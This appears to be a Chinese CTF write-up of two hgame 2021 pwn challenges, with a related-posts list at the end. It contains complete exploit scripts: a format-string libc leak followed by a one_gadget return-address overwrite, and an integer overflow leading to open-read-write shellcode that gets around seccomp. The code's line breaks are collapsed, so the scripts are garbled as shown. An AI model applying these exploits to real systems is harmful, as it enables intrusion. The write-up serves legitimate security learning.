hgame week1 2021 pwn
目录
- once
- letter
once
写这个题的时候发现了一个工具,可以修改题目加载的libc.so和ld.so文件
patchelf
注释掉的是本地环境下的情况
#!/usr/bin/env python2#env1=ubuntu 16.04 native
#env2=ld-2.27.so libc.2.27
from pwn import *arch = "amd64"
filename = "once"context(os="linux", arch=arch, log_level="debug")
content = 0offset = 0
# elf
elf = ELF(filename)# libc
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc=ELF("./libc-2.27.so")
main_libc=libc.symbols['__libc_start_main']
#ogg_libc=[0x45226,0x4527a,0xf0364,0xf1207]
ogg_libc=[0x4f3d5,0x4f432,0x10a41c]def b(addr):bk = "b *$rebase" + str(addr)gdb.attach(io, bk)success("attach")def main():global ioif content == 0:io = process("./once")else:io = remote("")#leakio.recvuntil("It is your turn: ")payload = b'%13$p\n' #6+7payload =payload.ljust(0x28,b'k')payload += b'\xd3'print(payload)#gdb.attach(io, 'b printf')io.send(payload)#count#main_addr=int(io.recv(14),16)-240main_addr=int(io.recv(14),16)-231print(hex(main_addr))libcbase=main_addr-main_libcogg_addr=libcbase+ogg_libc[0]#flowpayload=b'\x00'*(0x28)+p64(ogg_addr)io.recvuntil("It is your turn: ")io.send(payload)io.interactive()
main()
letter
seccomp禁用了一些系统调用(沙箱保护)所以即使整形溢出也无法通过system,onegadget来getshell
学到了一个工具seccomp-tools
所以这里需要用orw(open-read-write),题解是直接编写的shellcode。。。萌新太难了
我编不来,又看了其他师傅的wp,发现shellcraft可以更快的编出shellcode。
接下来三种思路
1.由于输入的lenth位置已知,把lenth最低的一个字节写为“jmp rsp”,就可以通过栈迁移,getshell了。
2.看了一些师傅是重新跳转到溢出的read函数将shellcode读到位置a,再跳转回a,具体的细节很神奇,我看不懂,枯了。还用ret2csu修改了rbp,伪造了栈帧?
3.其他的还可以利用gadget(pop rdi之类的),构造rop链,和2思路差不多,都是read shellcode到bss段,再跳转过去执行
#!/usr/bin/env python2
from pwn import *arch = "amd64"
filename = "letter"context(os="linux", arch=arch, log_level="debug")
content = 0offset = 0
# elf
elf = ELF(filename)
jmp_addr=0x000000000060108C
# libcdef b(addr):bk = "b *$rebase" + str(addr)gdb.attach(io, bk)success("attach")def main():global ioif content == 0:io = process("./" + filename)else:io = remote("")#int_flow#io.sendlineafter('?\n',"-268376833") #0xFFFFFFFF F000 E4FF#io.sendlineafter('?\n', "-16718593") #0xFFFFFFFF FF00 E4FF#io.sendlineafter('?\n',"-989953") #0xFFFFFFFF FFF0 E4FFio.sendlineafter('?\n',"-6913") #0xFFFFFFFF FFFF E4FF#getshellshellcode = '''mov rax, 0x101010101010101push raxmov rax, 0x101010101010101 ^ 0x67616c66xor [rsp], raxmov rdi, rspxor rsi, rsixor rdx, rdxmov rax, 2syscallxor rax, raxmov rdi, 3mov rsi, 0x601070mov rdx, 0x100syscallmov rax, 1mov rdi, 1mov rsi, 0x601070mov rdx,0x100syscall'''orw_pay=shellcraft.open("./flag")orw_pay+=shellcraft.read(3,0x601070,0x50)orw_pay+=shellcraft.write(1,0x601070,0x50)payload = b'a' * (0x18) + p64(jmp_addr)payload +=asm(orw_pay)io.sendline(payload)io.recv()io.interactive()
main()
hgame week1 2021 pwn相关推荐
- WMCTF 2021 pwn dy_maze writeup
经过三天的奋战(摸鱼划水√),WMCTF 2021 终于结束,我们的萌新体验队在大家的共同努力下也拿到了前30的成绩,实在出乎我的预料.不过,对于我们的首次比赛而言,成绩是最次要的方面,队友们在比 ...
- SCU新生赛2021 pwn wp
前段时间的极客大挑战2021和2021年的SCU新生赛,最后一道题都没有做出来,作为一枚大二学长确实应该反省一下自己了.太菜了呜呜呜.极客大挑战因为打太久了,题目都快忘记了,就不写wp了. ret2t ...
- 强网杯2021 pwn部分wp
baby_diary: 本题考查2.31的off by one, 漏洞处如下: 在sub_146e中会将输入数据的ASCII码相加再相加相加-直到变成一个byte的数字, 然后加到输入数据的后一位上, ...
- HGAME 2023 Week1
HGAME 2023 Week1 文章目录 HGAME 2023 Week1 前言 Web Classic Childhood Game Become A Member Guess Who I Am ...
- 2021奥斯汀 Pwn2Own黑客大赛落幕,Master of Pwn 诞生
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 2021年奥斯汀Pwn2Own 黑客大赛圆满落幕,22支参赛队伍共提交58个利用尝试.大赛的核心关注点是手机,新增类别是路由器和打印机类别,总类 ...
- Pwn2Own 2021温哥华黑客大赛落幕 3个团队并列 Master of Pwn
聚焦源代码安全,网罗国内外最新资讯! 网络安全界的年度盛事 Pwn2Own 2021 温哥华黑客大赛在今天落下帷幕(当地时间4月6日至8日举行).本年度大赛规模庞大,共有23支队伍参赛,目标涵盖10 ...
- HGAME 2022 week1 个人部分WP
寒假期间,小萌新在家瞎搞CTF,也是第一次参加HGAME,整体来说题目是简单的,但对于我这个萌新菜鸟来说,还是一头雾水,只会做一些简单的密码题,week1的web和misc还能做出几题,后面几周就完全 ...
- 【pwn】2021 鹤壁杯 wp
[pwn]2021 鹤壁杯 wp 前言 这场比较简单,但是也看到了自己急于求成的下场,基础知识非常不牢固,很多调试手段都太拉了,逆向能力也是非常差,还是得跟着师傅们继续学啊! 1.ret2libc1 ...
- hgame 2022 PWN 部分题目 Writeup
文章目录 Level - Week1 enter_the_pwn_land enter_the_evil_pwn_land test_your_nc test_your_gdb Level - Wee ...
最新文章
- C与C++之间相互调用
- JAVA实现单链表数据结构_java实现数据结构单链表示例(java单链表)
- Windows下phpStudy中的Apache无法启动的排查方法
- ITK:过滤图像FilterImage
- arm linux ping 通百度,linux ---之与ARM开发板相互ping 通
- 程序员自家种水果,新鲜包邮配送!
- 【十二省联考2019】异或粽子【01Trie】【堆】【前k大套路】
- c++基础学习(10)--(文件、流、异常处理、动态内存、命名空间)
- python窗口怎么显示我输入的_Python分别用两个窗口显示和输入
- 博客园期刊制作组工作安排
- 使用junit4测试spring项目中service方法
- visio2013报错1706最新解决方法
- 深度学习还是鼠标搞定,零基础建网站必备技能
- HTTP 412状态码
- C语言规律,C语言中运算符结合型规律
- java.io.IOException: Cleartext HTTP traffic to xxx.xxx.xxx.xxx not permitted 的解决方案
- 亮度,对比度,饱和度,锐度对最终图像效果的影响
- sdau启航前端第一次作业
- oracle迁移达梦7手顺及注意事项
- A. One and Two